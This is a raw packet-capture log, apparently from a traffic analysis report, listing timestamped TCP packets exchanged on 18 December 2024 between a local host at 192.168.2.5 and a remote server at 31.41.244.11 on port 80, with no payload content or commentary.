Dec 18, 2024 21:30:47.454394102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.454433918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.454447985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.455024004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.455040932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.455055952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.455077887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.455091000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.455111980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.455705881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.455724001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.455754042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.455768108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.456286907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.456305027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.456337929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.456348896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.456810951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.456825972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.456855059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.456866980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.457426071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.457442999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.457480907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.457492113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.458019018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.458045959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.458070993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.458082914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.458800077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.458818913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.458847046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.458859921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.459474087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.459491968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.459506035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.459531069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.459542036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.460154057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.460170984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.460206985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.460228920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.460808039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.460824013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.460867882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.461512089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.461538076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.461571932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.461587906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.462311983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.462338924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.462352991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.462447882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.463104010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.463129044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.463155985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.463171005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.463808060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.463854074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.463907003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.464436054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.464452982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.464502096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.465074062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.465100050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.465121031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.465135098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.465766907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.465781927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.465796947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.465821981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.465850115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.466578960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.466625929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.466675043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.467808008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.467824936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.467861891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.467874050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.468776941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.468792915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.468827009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.468838930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.469399929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.469414949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.469429016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.469451904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.469477892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.469954014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.469969034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.470000029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.470011950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.470554113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.470570087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.470606089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.470618963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.471163034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.471179008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.471224070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.471762896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.471779108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.471811056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.471822023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.472321987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.472337961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.472352028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.472372055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.472383022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.472868919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.472898006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.472923040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.472954988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.473567963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.473594904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.473618984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.473632097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.474173069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.474189043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.474231005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.474694967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.474710941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.474725008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.474747896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.474772930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.475282907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.475300074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.475330114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.475353003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.475883961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.475909948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.475934029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.475945950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.476586103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.476610899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.476658106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.477250099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.477274895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.477298975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.477323055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.477968931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.477984905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.477998972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.478015900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.478027105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.478048086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.478656054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.478672028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.478718042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.479398966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.479415894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.479460001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.480077982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.480093002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.480127096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.480138063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.480757952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.480772972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.480787039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.480809927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.480845928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.481398106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.481415033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.481447935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.481460094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.482076883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.482101917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.482125044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.482137918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.482803106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.482819080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.482855082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.482865095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.483473063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.483489037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.483529091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.484158039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.484185934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.484203100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.484203100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.484226942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.484246016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.484798908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.485038996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.644367933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.644421101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.644527912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.644541025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.644572020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.644584894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.645087004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.645159006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.645457983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.645471096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.645498991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.645513058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.645998001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.646042109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.646205902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.646241903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.646250963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.646279097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.646966934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.646977901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.647012949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.647537947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.647550106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.647584915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.648088932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.648101091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.648145914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.648710012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.648721933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.648755074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.649441004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.649452925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.649496078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.649507999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.650087118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.650099039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.650139093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.650744915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.650763988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.650791883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.650804043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.651470900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.651484013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.651494980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.651535988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.651547909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.652107954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.652129889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.652147055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.652158976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.652827024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.652847052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.652868986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.652884007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.653522015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.653534889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.653574944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.653585911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.654203892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.654231071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.654244900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.654253006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.654264927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.654285908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.654870987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.654891968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.654923916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.654933929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.655602932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.655616045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.655647993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.655659914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.656279087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.656306982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.656328917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.656342030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.656987906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.657000065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.657037020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.657047987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.657635927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.657655954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.657668114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.657680035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.657704115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.658442974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.658456087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.658509016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.658690929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.659003973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.659022093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.659071922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.659735918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.659754038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.659796953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.659807920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.660397053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.660408974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.660419941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.660466909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.660466909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.661076069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.661088943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.661159992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.661772013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.661784887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.661803961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.661835909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.662442923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.662462950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.662498951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.662533045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.663170099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.663182020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.663232088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.663261890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.663892031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.663904905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.663914919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.663944960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.663971901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.664551020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.664562941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.664597034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.665256977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.665270090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.665314913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.665863037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.665882111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.665929079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.665954113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.666635036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.666649103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.666660070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.666718960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.666718960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.667269945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.667283058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.667309999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.667332888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.667982101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.667994976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.668024063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.668035984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.668680906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.668693066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.668730974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.669305086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.669325113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.669367075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.670037031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.670049906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.670059919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.670087099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.670106888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.670715094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.670727968 CET	80	49819	31.41.244.11	192.168.2.5
